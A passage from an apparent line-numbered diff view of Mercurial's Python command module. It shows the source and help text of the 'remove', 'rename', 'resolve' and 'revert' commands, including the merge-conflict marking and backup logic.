5876 (as reported by :hg:`status`). The actions are Warn, Remove
5879 (as reported by :hg:`status`). The actions are Warn, Remove
5877 (from branch) and Delete (from disk):
5880 (from branch) and Delete (from disk):
5878
5881
5879 ========= == == == ==
5882 ========= == == == ==
5880 opt/state A C M !
5883 opt/state A C M !
5881 ========= == == == ==
5884 ========= == == == ==
5882 none W RD W R
5885 none W RD W R
5883 -f R RD RD R
5886 -f R RD RD R
5884 -A W W W R
5887 -A W W W R
5885 -Af R R R R
5888 -Af R R R R
5886 ========= == == == ==
5889 ========= == == == ==
5887
5890
5888 .. note::
5891 .. note::
5889
5892
5890 :hg:`remove` never deletes files in Added [A] state from the
5893 :hg:`remove` never deletes files in Added [A] state from the
5891 working directory, not even if ``--force`` is specified.
5894 working directory, not even if ``--force`` is specified.
5892
5895
5893 Returns 0 on success, 1 if any warnings encountered.
5896 Returns 0 on success, 1 if any warnings encountered.
5894 """
5897 """
5895
5898
5896 opts = pycompat.byteskwargs(opts)
5899 opts = pycompat.byteskwargs(opts)
5897 after, force = opts.get(b'after'), opts.get(b'force')
5900 after, force = opts.get(b'after'), opts.get(b'force')
5898 dryrun = opts.get(b'dry_run')
5901 dryrun = opts.get(b'dry_run')
5899 if not pats and not after:
5902 if not pats and not after:
5900 raise error.InputError(_(b'no files specified'))
5903 raise error.InputError(_(b'no files specified'))
5901
5904
5902 m = scmutil.match(repo[None], pats, opts)
5905 m = scmutil.match(repo[None], pats, opts)
5903 subrepos = opts.get(b'subrepos')
5906 subrepos = opts.get(b'subrepos')
5904 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
5907 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
5905 return cmdutil.remove(
5908 return cmdutil.remove(
5906 ui, repo, m, b"", uipathfn, after, force, subrepos, dryrun=dryrun
5909 ui, repo, m, b"", uipathfn, after, force, subrepos, dryrun=dryrun
5907 )
5910 )
5908
5911
5909
5912
5910 @command(
5913 @command(
5911 b'rename|move|mv',
5914 b'rename|move|mv',
5912 [
5915 [
5913 (b'', b'forget', None, _(b'unmark a destination file as renamed')),
5916 (b'', b'forget', None, _(b'unmark a destination file as renamed')),
5914 (b'A', b'after', None, _(b'record a rename that has already occurred')),
5917 (b'A', b'after', None, _(b'record a rename that has already occurred')),
5915 (
5918 (
5916 b'',
5919 b'',
5917 b'at-rev',
5920 b'at-rev',
5918 b'',
5921 b'',
5919 _(b'(un)mark renames in the given revision (EXPERIMENTAL)'),
5922 _(b'(un)mark renames in the given revision (EXPERIMENTAL)'),
5920 _(b'REV'),
5923 _(b'REV'),
5921 ),
5924 ),
5922 (
5925 (
5923 b'f',
5926 b'f',
5924 b'force',
5927 b'force',
5925 None,
5928 None,
5926 _(b'forcibly move over an existing managed file'),
5929 _(b'forcibly move over an existing managed file'),
5927 ),
5930 ),
5928 ]
5931 ]
5929 + walkopts
5932 + walkopts
5930 + dryrunopts,
5933 + dryrunopts,
5931 _(b'[OPTION]... SOURCE... DEST'),
5934 _(b'[OPTION]... SOURCE... DEST'),
5932 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5935 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5933 )
5936 )
5934 def rename(ui, repo, *pats, **opts):
5937 def rename(ui, repo, *pats, **opts):
5935 """rename files; equivalent of copy + remove
5938 """rename files; equivalent of copy + remove
5936
5939
5937 Mark dest as copies of sources; mark sources for deletion. If dest
5940 Mark dest as copies of sources; mark sources for deletion. If dest
5938 is a directory, copies are put in that directory. If dest is a
5941 is a directory, copies are put in that directory. If dest is a
5939 file, there can only be one source.
5942 file, there can only be one source.
5940
5943
5941 By default, this command copies the contents of files as they
5944 By default, this command copies the contents of files as they
5942 exist in the working directory. If invoked with -A/--after, the
5945 exist in the working directory. If invoked with -A/--after, the
5943 operation is recorded, but no copying is performed.
5946 operation is recorded, but no copying is performed.
5944
5947
5945 To undo marking a destination file as renamed, use --forget. With that
5948 To undo marking a destination file as renamed, use --forget. With that
5946 option, all given (positional) arguments are unmarked as renames. The
5949 option, all given (positional) arguments are unmarked as renames. The
5947 destination file(s) will be left in place (still tracked). The source
5950 destination file(s) will be left in place (still tracked). The source
5948 file(s) will not be restored. Note that :hg:`rename --forget` behaves
5951 file(s) will not be restored. Note that :hg:`rename --forget` behaves
5949 the same way as :hg:`copy --forget`.
5952 the same way as :hg:`copy --forget`.
5950
5953
5951 This command takes effect with the next commit by default.
5954 This command takes effect with the next commit by default.
5952
5955
5953 Returns 0 on success, 1 if errors are encountered.
5956 Returns 0 on success, 1 if errors are encountered.
5954 """
5957 """
5955 opts = pycompat.byteskwargs(opts)
5958 opts = pycompat.byteskwargs(opts)
5956 with repo.wlock():
5959 with repo.wlock():
5957 return cmdutil.copy(ui, repo, pats, opts, rename=True)
5960 return cmdutil.copy(ui, repo, pats, opts, rename=True)
5958
5961
5959
5962
5960 @command(
5963 @command(
5961 b'resolve',
5964 b'resolve',
5962 [
5965 [
5963 (b'a', b'all', None, _(b'select all unresolved files')),
5966 (b'a', b'all', None, _(b'select all unresolved files')),
5964 (b'l', b'list', None, _(b'list state of files needing merge')),
5967 (b'l', b'list', None, _(b'list state of files needing merge')),
5965 (b'm', b'mark', None, _(b'mark files as resolved')),
5968 (b'm', b'mark', None, _(b'mark files as resolved')),
5966 (b'u', b'unmark', None, _(b'mark files as unresolved')),
5969 (b'u', b'unmark', None, _(b'mark files as unresolved')),
5967 (b'n', b'no-status', None, _(b'hide status prefix')),
5970 (b'n', b'no-status', None, _(b'hide status prefix')),
5968 (b'', b're-merge', None, _(b're-merge files')),
5971 (b'', b're-merge', None, _(b're-merge files')),
5969 ]
5972 ]
5970 + mergetoolopts
5973 + mergetoolopts
5971 + walkopts
5974 + walkopts
5972 + formatteropts,
5975 + formatteropts,
5973 _(b'[OPTION]... [FILE]...'),
5976 _(b'[OPTION]... [FILE]...'),
5974 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5977 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5975 inferrepo=True,
5978 inferrepo=True,
5976 )
5979 )
5977 def resolve(ui, repo, *pats, **opts):
5980 def resolve(ui, repo, *pats, **opts):
5978 """redo merges or set/view the merge status of files
5981 """redo merges or set/view the merge status of files
5979
5982
5980 Merges with unresolved conflicts are often the result of
5983 Merges with unresolved conflicts are often the result of
5981 non-interactive merging using the ``internal:merge`` configuration
5984 non-interactive merging using the ``internal:merge`` configuration
5982 setting, or a command-line merge tool like ``diff3``. The resolve
5985 setting, or a command-line merge tool like ``diff3``. The resolve
5983 command is used to manage the files involved in a merge, after
5986 command is used to manage the files involved in a merge, after
5984 :hg:`merge` has been run, and before :hg:`commit` is run (i.e. the
5987 :hg:`merge` has been run, and before :hg:`commit` is run (i.e. the
5985 working directory must have two parents). See :hg:`help
5988 working directory must have two parents). See :hg:`help
5986 merge-tools` for information on configuring merge tools.
5989 merge-tools` for information on configuring merge tools.
5987
5990
5988 The resolve command can be used in the following ways:
5991 The resolve command can be used in the following ways:
5989
5992
5990 - :hg:`resolve [--re-merge] [--tool TOOL] FILE...`: attempt to re-merge
5993 - :hg:`resolve [--re-merge] [--tool TOOL] FILE...`: attempt to re-merge
5991 the specified files, discarding any previous merge attempts. Re-merging
5994 the specified files, discarding any previous merge attempts. Re-merging
5992 is not performed for files already marked as resolved. Use ``--all/-a``
5995 is not performed for files already marked as resolved. Use ``--all/-a``
5993 to select all unresolved files. ``--tool`` can be used to specify
5996 to select all unresolved files. ``--tool`` can be used to specify
5994 the merge tool used for the given files. It overrides the HGMERGE
5997 the merge tool used for the given files. It overrides the HGMERGE
5995 environment variable and your configuration files. Previous file
5998 environment variable and your configuration files. Previous file
5996 contents are saved with a ``.orig`` suffix.
5999 contents are saved with a ``.orig`` suffix.
5997
6000
5998 - :hg:`resolve -m [FILE]`: mark a file as having been resolved
6001 - :hg:`resolve -m [FILE]`: mark a file as having been resolved
5999 (e.g. after having manually fixed-up the files). The default is
6002 (e.g. after having manually fixed-up the files). The default is
6000 to mark all unresolved files.
6003 to mark all unresolved files.
6001
6004
6002 - :hg:`resolve -u [FILE]...`: mark a file as unresolved. The
6005 - :hg:`resolve -u [FILE]...`: mark a file as unresolved. The
6003 default is to mark all resolved files.
6006 default is to mark all resolved files.
6004
6007
6005 - :hg:`resolve -l`: list files which had or still have conflicts.
6008 - :hg:`resolve -l`: list files which had or still have conflicts.
6006 In the printed list, ``U`` = unresolved and ``R`` = resolved.
6009 In the printed list, ``U`` = unresolved and ``R`` = resolved.
6007 You can use ``set:unresolved()`` or ``set:resolved()`` to filter
6010 You can use ``set:unresolved()`` or ``set:resolved()`` to filter
6008 the list. See :hg:`help filesets` for details.
6011 the list. See :hg:`help filesets` for details.
6009
6012
6010 .. note::
6013 .. note::
6011
6014
6012 Mercurial will not let you commit files with unresolved merge
6015 Mercurial will not let you commit files with unresolved merge
6013 conflicts. You must use :hg:`resolve -m ...` before you can
6016 conflicts. You must use :hg:`resolve -m ...` before you can
6014 commit after a conflicting merge.
6017 commit after a conflicting merge.
6015
6018
6016 .. container:: verbose
6019 .. container:: verbose
6017
6020
6018 Template:
6021 Template:
6019
6022
6020 The following keywords are supported in addition to the common template
6023 The following keywords are supported in addition to the common template
6021 keywords and functions. See also :hg:`help templates`.
6024 keywords and functions. See also :hg:`help templates`.
6022
6025
6023 :mergestatus: String. Character denoting merge conflicts, ``U`` or ``R``.
6026 :mergestatus: String. Character denoting merge conflicts, ``U`` or ``R``.
6024 :path: String. Repository-absolute path of the file.
6027 :path: String. Repository-absolute path of the file.
6025
6028
6026 Returns 0 on success, 1 if any files fail a resolve attempt.
6029 Returns 0 on success, 1 if any files fail a resolve attempt.
6027 """
6030 """
6028
6031
6029 opts = pycompat.byteskwargs(opts)
6032 opts = pycompat.byteskwargs(opts)
6030 confirm = ui.configbool(b'commands', b'resolve.confirm')
6033 confirm = ui.configbool(b'commands', b'resolve.confirm')
6031 flaglist = b'all mark unmark list no_status re_merge'.split()
6034 flaglist = b'all mark unmark list no_status re_merge'.split()
6032 all, mark, unmark, show, nostatus, remerge = [opts.get(o) for o in flaglist]
6035 all, mark, unmark, show, nostatus, remerge = [opts.get(o) for o in flaglist]
6033
6036
6034 actioncount = len(list(filter(None, [show, mark, unmark, remerge])))
6037 actioncount = len(list(filter(None, [show, mark, unmark, remerge])))
6035 if actioncount > 1:
6038 if actioncount > 1:
6036 raise error.InputError(_(b"too many actions specified"))
6039 raise error.InputError(_(b"too many actions specified"))
6037 elif actioncount == 0 and ui.configbool(
6040 elif actioncount == 0 and ui.configbool(
6038 b'commands', b'resolve.explicit-re-merge'
6041 b'commands', b'resolve.explicit-re-merge'
6039 ):
6042 ):
6040 hint = _(b'use --mark, --unmark, --list or --re-merge')
6043 hint = _(b'use --mark, --unmark, --list or --re-merge')
6041 raise error.InputError(_(b'no action specified'), hint=hint)
6044 raise error.InputError(_(b'no action specified'), hint=hint)
6042 if pats and all:
6045 if pats and all:
6043 raise error.InputError(_(b"can't specify --all and patterns"))
6046 raise error.InputError(_(b"can't specify --all and patterns"))
6044 if not (all or pats or show or mark or unmark):
6047 if not (all or pats or show or mark or unmark):
6045 raise error.InputError(
6048 raise error.InputError(
6046 _(b'no files or directories specified'),
6049 _(b'no files or directories specified'),
6047 hint=b'use --all to re-merge all unresolved files',
6050 hint=b'use --all to re-merge all unresolved files',
6048 )
6051 )
6049
6052
6050 if confirm:
6053 if confirm:
6051 if all:
6054 if all:
6052 if ui.promptchoice(
6055 if ui.promptchoice(
6053 _(b're-merge all unresolved files (yn)?$$ &Yes $$ &No')
6056 _(b're-merge all unresolved files (yn)?$$ &Yes $$ &No')
6054 ):
6057 ):
6055 raise error.CanceledError(_(b'user quit'))
6058 raise error.CanceledError(_(b'user quit'))
6056 if mark and not pats:
6059 if mark and not pats:
6057 if ui.promptchoice(
6060 if ui.promptchoice(
6058 _(
6061 _(
6059 b'mark all unresolved files as resolved (yn)?'
6062 b'mark all unresolved files as resolved (yn)?'
6060 b'$$ &Yes $$ &No'
6063 b'$$ &Yes $$ &No'
6061 )
6064 )
6062 ):
6065 ):
6063 raise error.CanceledError(_(b'user quit'))
6066 raise error.CanceledError(_(b'user quit'))
6064 if unmark and not pats:
6067 if unmark and not pats:
6065 if ui.promptchoice(
6068 if ui.promptchoice(
6066 _(
6069 _(
6067 b'mark all resolved files as unresolved (yn)?'
6070 b'mark all resolved files as unresolved (yn)?'
6068 b'$$ &Yes $$ &No'
6071 b'$$ &Yes $$ &No'
6069 )
6072 )
6070 ):
6073 ):
6071 raise error.CanceledError(_(b'user quit'))
6074 raise error.CanceledError(_(b'user quit'))
6072
6075
6073 uipathfn = scmutil.getuipathfn(repo)
6076 uipathfn = scmutil.getuipathfn(repo)
6074
6077
6075 if show:
6078 if show:
6076 ui.pager(b'resolve')
6079 ui.pager(b'resolve')
6077 fm = ui.formatter(b'resolve', opts)
6080 fm = ui.formatter(b'resolve', opts)
6078 ms = mergestatemod.mergestate.read(repo)
6081 ms = mergestatemod.mergestate.read(repo)
6079 wctx = repo[None]
6082 wctx = repo[None]
6080 m = scmutil.match(wctx, pats, opts)
6083 m = scmutil.match(wctx, pats, opts)
6081
6084
6082 # Labels and keys based on merge state. Unresolved path conflicts show
6085 # Labels and keys based on merge state. Unresolved path conflicts show
6083 # as 'P'. Resolved path conflicts show as 'R', the same as normal
6086 # as 'P'. Resolved path conflicts show as 'R', the same as normal
6084 # resolved conflicts.
6087 # resolved conflicts.
6085 mergestateinfo = {
6088 mergestateinfo = {
6086 mergestatemod.MERGE_RECORD_UNRESOLVED: (
6089 mergestatemod.MERGE_RECORD_UNRESOLVED: (
6087 b'resolve.unresolved',
6090 b'resolve.unresolved',
6088 b'U',
6091 b'U',
6089 ),
6092 ),
6090 mergestatemod.MERGE_RECORD_RESOLVED: (b'resolve.resolved', b'R'),
6093 mergestatemod.MERGE_RECORD_RESOLVED: (b'resolve.resolved', b'R'),
6091 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH: (
6094 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH: (
6092 b'resolve.unresolved',
6095 b'resolve.unresolved',
6093 b'P',
6096 b'P',
6094 ),
6097 ),
6095 mergestatemod.MERGE_RECORD_RESOLVED_PATH: (
6098 mergestatemod.MERGE_RECORD_RESOLVED_PATH: (
6096 b'resolve.resolved',
6099 b'resolve.resolved',
6097 b'R',
6100 b'R',
6098 ),
6101 ),
6099 }
6102 }
6100
6103
6101 for f in ms:
6104 for f in ms:
6102 if not m(f):
6105 if not m(f):
6103 continue
6106 continue
6104
6107
6105 label, key = mergestateinfo[ms[f]]
6108 label, key = mergestateinfo[ms[f]]
6106 fm.startitem()
6109 fm.startitem()
6107 fm.context(ctx=wctx)
6110 fm.context(ctx=wctx)
6108 fm.condwrite(not nostatus, b'mergestatus', b'%s ', key, label=label)
6111 fm.condwrite(not nostatus, b'mergestatus', b'%s ', key, label=label)
6109 fm.data(path=f)
6112 fm.data(path=f)
6110 fm.plain(b'%s\n' % uipathfn(f), label=label)
6113 fm.plain(b'%s\n' % uipathfn(f), label=label)
6111 fm.end()
6114 fm.end()
6112 return 0
6115 return 0
6113
6116
6114 with repo.wlock():
6117 with repo.wlock():
6115 ms = mergestatemod.mergestate.read(repo)
6118 ms = mergestatemod.mergestate.read(repo)
6116
6119
6117 if not (ms.active() or repo.dirstate.p2() != repo.nullid):
6120 if not (ms.active() or repo.dirstate.p2() != repo.nullid):
6118 raise error.StateError(
6121 raise error.StateError(
6119 _(b'resolve command not applicable when not merging')
6122 _(b'resolve command not applicable when not merging')
6120 )
6123 )
6121
6124
6122 wctx = repo[None]
6125 wctx = repo[None]
6123 m = scmutil.match(wctx, pats, opts)
6126 m = scmutil.match(wctx, pats, opts)
6124 ret = 0
6127 ret = 0
6125 didwork = False
6128 didwork = False
6126
6129
6127 tocomplete = []
6130 tocomplete = []
6128 hasconflictmarkers = []
6131 hasconflictmarkers = []
6129 if mark:
6132 if mark:
6130 markcheck = ui.config(b'commands', b'resolve.mark-check')
6133 markcheck = ui.config(b'commands', b'resolve.mark-check')
6131 if markcheck not in [b'warn', b'abort']:
6134 if markcheck not in [b'warn', b'abort']:
6132 # Treat all invalid / unrecognized values as 'none'.
6135 # Treat all invalid / unrecognized values as 'none'.
6133 markcheck = False
6136 markcheck = False
6134 for f in ms:
6137 for f in ms:
6135 if not m(f):
6138 if not m(f):
6136 continue
6139 continue
6137
6140
6138 didwork = True
6141 didwork = True
6139
6142
6140 # path conflicts must be resolved manually
6143 # path conflicts must be resolved manually
6141 if ms[f] in (
6144 if ms[f] in (
6142 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH,
6145 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH,
6143 mergestatemod.MERGE_RECORD_RESOLVED_PATH,
6146 mergestatemod.MERGE_RECORD_RESOLVED_PATH,
6144 ):
6147 ):
6145 if mark:
6148 if mark:
6146 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED_PATH)
6149 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED_PATH)
6147 elif unmark:
6150 elif unmark:
6148 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED_PATH)
6151 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED_PATH)
6149 elif ms[f] == mergestatemod.MERGE_RECORD_UNRESOLVED_PATH:
6152 elif ms[f] == mergestatemod.MERGE_RECORD_UNRESOLVED_PATH:
6150 ui.warn(
6153 ui.warn(
6151 _(b'%s: path conflict must be resolved manually\n')
6154 _(b'%s: path conflict must be resolved manually\n')
6152 % uipathfn(f)
6155 % uipathfn(f)
6153 )
6156 )
6154 continue
6157 continue
6155
6158
6156 if mark:
6159 if mark:
6157 if markcheck:
6160 if markcheck:
6158 fdata = repo.wvfs.tryread(f)
6161 fdata = repo.wvfs.tryread(f)
6159 if (
6162 if (
6160 filemerge.hasconflictmarkers(fdata)
6163 filemerge.hasconflictmarkers(fdata)
6161 and ms[f] != mergestatemod.MERGE_RECORD_RESOLVED
6164 and ms[f] != mergestatemod.MERGE_RECORD_RESOLVED
6162 ):
6165 ):
6163 hasconflictmarkers.append(f)
6166 hasconflictmarkers.append(f)
6164 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED)
6167 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED)
6165 elif unmark:
6168 elif unmark:
6166 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED)
6169 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED)
6167 else:
6170 else:
6168 # backup pre-resolve (merge uses .orig for its own purposes)
6171 # backup pre-resolve (merge uses .orig for its own purposes)
6169 a = repo.wjoin(f)
6172 a = repo.wjoin(f)
6170 try:
6173 try:
6171 util.copyfile(a, a + b".resolve")
6174 util.copyfile(a, a + b".resolve")
6172 except (IOError, OSError) as inst:
6175 except (IOError, OSError) as inst:
6173 if inst.errno != errno.ENOENT:
6176 if inst.errno != errno.ENOENT:
6174 raise
6177 raise
6175
6178
6176 try:
6179 try:
6177 # preresolve file
6180 # preresolve file
6178 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6181 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6179 with ui.configoverride(overrides, b'resolve'):
6182 with ui.configoverride(overrides, b'resolve'):
6180 complete, r = ms.preresolve(f, wctx)
6183 complete, r = ms.preresolve(f, wctx)
6181 if not complete:
6184 if not complete:
6182 tocomplete.append(f)
6185 tocomplete.append(f)
6183 elif r:
6186 elif r:
6184 ret = 1
6187 ret = 1
6185 finally:
6188 finally:
6186 ms.commit()
6189 ms.commit()
6187
6190
6188 # replace filemerge's .orig file with our resolve file, but only
6191 # replace filemerge's .orig file with our resolve file, but only
6189 # for merges that are complete
6192 # for merges that are complete
6190 if complete:
6193 if complete:
6191 try:
6194 try:
6192 util.rename(
6195 util.rename(
6193 a + b".resolve", scmutil.backuppath(ui, repo, f)
6196 a + b".resolve", scmutil.backuppath(ui, repo, f)
6194 )
6197 )
6195 except OSError as inst:
6198 except OSError as inst:
6196 if inst.errno != errno.ENOENT:
6199 if inst.errno != errno.ENOENT:
6197 raise
6200 raise
6198
6201
6199 if hasconflictmarkers:
6202 if hasconflictmarkers:
6200 ui.warn(
6203 ui.warn(
6201 _(
6204 _(
6202 b'warning: the following files still have conflict '
6205 b'warning: the following files still have conflict '
6203 b'markers:\n'
6206 b'markers:\n'
6204 )
6207 )
6205 + b''.join(
6208 + b''.join(
6206 b' ' + uipathfn(f) + b'\n' for f in hasconflictmarkers
6209 b' ' + uipathfn(f) + b'\n' for f in hasconflictmarkers
6207 )
6210 )
6208 )
6211 )
6209 if markcheck == b'abort' and not all and not pats:
6212 if markcheck == b'abort' and not all and not pats:
6210 raise error.StateError(
6213 raise error.StateError(
6211 _(b'conflict markers detected'),
6214 _(b'conflict markers detected'),
6212 hint=_(b'use --all to mark anyway'),
6215 hint=_(b'use --all to mark anyway'),
6213 )
6216 )
6214
6217
6215 for f in tocomplete:
6218 for f in tocomplete:
6216 try:
6219 try:
6217 # resolve file
6220 # resolve file
6218 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6221 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6219 with ui.configoverride(overrides, b'resolve'):
6222 with ui.configoverride(overrides, b'resolve'):
6220 r = ms.resolve(f, wctx)
6223 r = ms.resolve(f, wctx)
6221 if r:
6224 if r:
6222 ret = 1
6225 ret = 1
6223 finally:
6226 finally:
6224 ms.commit()
6227 ms.commit()
6225
6228
6226 # replace filemerge's .orig file with our resolve file
6229 # replace filemerge's .orig file with our resolve file
6227 a = repo.wjoin(f)
6230 a = repo.wjoin(f)
6228 try:
6231 try:
6229 util.rename(a + b".resolve", scmutil.backuppath(ui, repo, f))
6232 util.rename(a + b".resolve", scmutil.backuppath(ui, repo, f))
6230 except OSError as inst:
6233 except OSError as inst:
6231 if inst.errno != errno.ENOENT:
6234 if inst.errno != errno.ENOENT:
6232 raise
6235 raise
6233
6236
6234 ms.commit()
6237 ms.commit()
6235 branchmerge = repo.dirstate.p2() != repo.nullid
6238 branchmerge = repo.dirstate.p2() != repo.nullid
6236 # resolve is not doing a parent change here, however, `record updates`
6239 # resolve is not doing a parent change here, however, `record updates`
6237 # will call some dirstate API that at intended for parent changes call.
6240 # will call some dirstate API that at intended for parent changes call.
6238 # Ideally we would not need this and could implement a lighter version
6241 # Ideally we would not need this and could implement a lighter version
6239 # of the recordupdateslogic that will not have to deal with the part
6242 # of the recordupdateslogic that will not have to deal with the part
6240 # related to parent changes. However this would requires that:
6243 # related to parent changes. However this would requires that:
6241 # - we are sure we passed around enough information at update/merge
6244 # - we are sure we passed around enough information at update/merge
6242 # time to no longer needs it at `hg resolve time`
6245 # time to no longer needs it at `hg resolve time`
6243 # - we are sure we store that information well enough to be able to reuse it
6246 # - we are sure we store that information well enough to be able to reuse it
6244 # - we are the necessary logic to reuse it right.
6247 # - we are the necessary logic to reuse it right.
6245 #
6248 #
6246 # All this should eventually happens, but in the mean time, we use this
6249 # All this should eventually happens, but in the mean time, we use this
6247 # context manager slightly out of the context it should be.
6250 # context manager slightly out of the context it should be.
6248 with repo.dirstate.parentchange():
6251 with repo.dirstate.parentchange():
6249 mergestatemod.recordupdates(repo, ms.actions(), branchmerge, None)
6252 mergestatemod.recordupdates(repo, ms.actions(), branchmerge, None)
6250
6253
6251 if not didwork and pats:
6254 if not didwork and pats:
6252 hint = None
6255 hint = None
6253 if not any([p for p in pats if p.find(b':') >= 0]):
6256 if not any([p for p in pats if p.find(b':') >= 0]):
6254 pats = [b'path:%s' % p for p in pats]
6257 pats = [b'path:%s' % p for p in pats]
6255 m = scmutil.match(wctx, pats, opts)
6258 m = scmutil.match(wctx, pats, opts)
6256 for f in ms:
6259 for f in ms:
6257 if not m(f):
6260 if not m(f):
6258 continue
6261 continue
6259
6262
6260 def flag(o):
6263 def flag(o):
6261 if o == b're_merge':
6264 if o == b're_merge':
6262 return b'--re-merge '
6265 return b'--re-merge '
6263 return b'-%s ' % o[0:1]
6266 return b'-%s ' % o[0:1]
6264
6267
6265 flags = b''.join([flag(o) for o in flaglist if opts.get(o)])
6268 flags = b''.join([flag(o) for o in flaglist if opts.get(o)])
6266 hint = _(b"(try: hg resolve %s%s)\n") % (
6269 hint = _(b"(try: hg resolve %s%s)\n") % (
6267 flags,
6270 flags,
6268 b' '.join(pats),
6271 b' '.join(pats),
6269 )
6272 )
6270 break
6273 break
6271 ui.warn(_(b"arguments do not match paths that need resolving\n"))
6274 ui.warn(_(b"arguments do not match paths that need resolving\n"))
6272 if hint:
6275 if hint:
6273 ui.warn(hint)
6276 ui.warn(hint)
6274
6277
6275 unresolvedf = ms.unresolvedcount()
6278 unresolvedf = ms.unresolvedcount()
6276 if not unresolvedf:
6279 if not unresolvedf:
6277 ui.status(_(b'(no more unresolved files)\n'))
6280 ui.status(_(b'(no more unresolved files)\n'))
6278 cmdutil.checkafterresolved(repo)
6281 cmdutil.checkafterresolved(repo)
6279
6282
6280 return ret
6283 return ret
6281
6284
6282
6285
6283 @command(
6286 @command(
6284 b'revert',
6287 b'revert',
6285 [
6288 [
6286 (b'a', b'all', None, _(b'revert all changes when no arguments given')),
6289 (b'a', b'all', None, _(b'revert all changes when no arguments given')),
6287 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
6290 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
6288 (b'r', b'rev', b'', _(b'revert to the specified revision'), _(b'REV')),
6291 (b'r', b'rev', b'', _(b'revert to the specified revision'), _(b'REV')),
6289 (b'C', b'no-backup', None, _(b'do not save backup copies of files')),
6292 (b'C', b'no-backup', None, _(b'do not save backup copies of files')),
6290 (b'i', b'interactive', None, _(b'interactively select the changes')),
6293 (b'i', b'interactive', None, _(b'interactively select the changes')),
6291 ]
6294 ]
6292 + walkopts
6295 + walkopts
6293 + dryrunopts,
6296 + dryrunopts,
6294 _(b'[OPTION]... [-r REV] [NAME]...'),
6297 _(b'[OPTION]... [-r REV] [NAME]...'),
6295 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6298 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6296 )
6299 )
6297 def revert(ui, repo, *pats, **opts):
6300 def revert(ui, repo, *pats, **opts):
6298 """restore files to their checkout state
6301 """restore files to their checkout state
6299
6302
6300 .. note::
6303 .. note::
6301
6304
6302 To check out earlier revisions, you should use :hg:`update REV`.
6305 To check out earlier revisions, you should use :hg:`update REV`.
6303 To cancel an uncommitted merge (and lose your changes),
6306 To cancel an uncommitted merge (and lose your changes),
6304 use :hg:`merge --abort`.
6307 use :hg:`merge --abort`.
6305
6308
6306 With no revision specified, revert the specified files or directories
6309 With no revision specified, revert the specified files or directories
6307 to the contents they had in the parent of the working directory.
6310 to the contents they had in the parent of the working directory.
6308 This restores the contents of files to an unmodified
6311 This restores the contents of files to an unmodified
6309 state and unschedules adds, removes, copies, and renames. If the
6312 state and unschedules adds, removes, copies, and renames. If the
6310 working directory has two parents, you must explicitly specify a
6313 working directory has two parents, you must explicitly specify a
6311 revision.
6314 revision.
6312
6315
6313 Using the -r/--rev or -d/--date options, revert the given files or
6316 Using the -r/--rev or -d/--date options, revert the given files or
6314 directories to their states as of a specific revision. Because
6317 directories to their states as of a specific revision. Because
6315 revert does not change the working directory parents, this will
6318 revert does not change the working directory parents, this will
6316 cause these files to appear modified. This can be helpful to "back
6319 cause these files to appear modified. This can be helpful to "back
6317 out" some or all of an earlier change. See :hg:`backout` for a
6320 out" some or all of an earlier change. See :hg:`backout` for a
6318 related method.
6321 related method.
6319
6322
6320 Modified files are saved with a .orig suffix before reverting.
6323 Modified files are saved with a .orig suffix before reverting.
6321 To disable these backups, use --no-backup. It is possible to store
6324 To disable these backups, use --no-backup. It is possible to store
6322 the backup files in a custom directory relative to the root of the
6325 the backup files in a custom directory relative to the root of the
6323 repository by setting the ``ui.origbackuppath`` configuration
6326 repository by setting the ``ui.origbackuppath`` configuration
6324 option.
6327 option.
6325
6328
6326 See :hg:`help dates` for a list of formats valid for -d/--date.
6329 See :hg:`help dates` for a list of formats valid for -d/--date.
6327
6330
6328 See :hg:`help backout` for a way to reverse the effect of an
6331 See :hg:`help backout` for a way to reverse the effect of an
6329 earlier changeset.
6332 earlier changeset.
6330
6333
6331 Returns 0 on success.
6334 Returns 0 on success.
6332 """
6335 """
6333
6336
6334 opts = pycompat.byteskwargs(opts)
6337 opts = pycompat.byteskwargs(opts)
6335 if opts.get(b"date"):
6338 if opts.get(b"date"):
6336 cmdutil.check_incompatible_arguments(opts, b'date', [b'rev'])
6339 cmdutil.check_incompatible_arguments(opts, b'date', [b'rev'])
6337 opts[b"rev"] = cmdutil.finddate(ui, repo, opts[b"date"])
6340 opts[b"rev"] = cmdutil.finddate(ui, repo, opts[b"date"])
6338
6341
6339 parent, p2 = repo.dirstate.parents()
6342 parent, p2 = repo.dirstate.parents()
6340 if not opts.get(b'rev') and p2 != repo.nullid:
6343 if not opts.get(b'rev') and p2 != repo.nullid:
6341 # revert after merge is a trap for new users (issue2915)
6344 # revert after merge is a trap for new users (issue2915)
6342 raise error.InputError(
6345 raise error.InputError(
6343 _(b'uncommitted merge with no revision specified'),
6346 _(b'uncommitted merge with no revision specified'),
6344 hint=_(b"use 'hg update' or see 'hg help revert'"),
6347 hint=_(b"use 'hg update' or see 'hg help revert'"),
6345 )
6348 )
6346
6349
6347 rev = opts.get(b'rev')
6350 rev = opts.get(b'rev')
6348 if rev:
6351 if rev:
6349 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
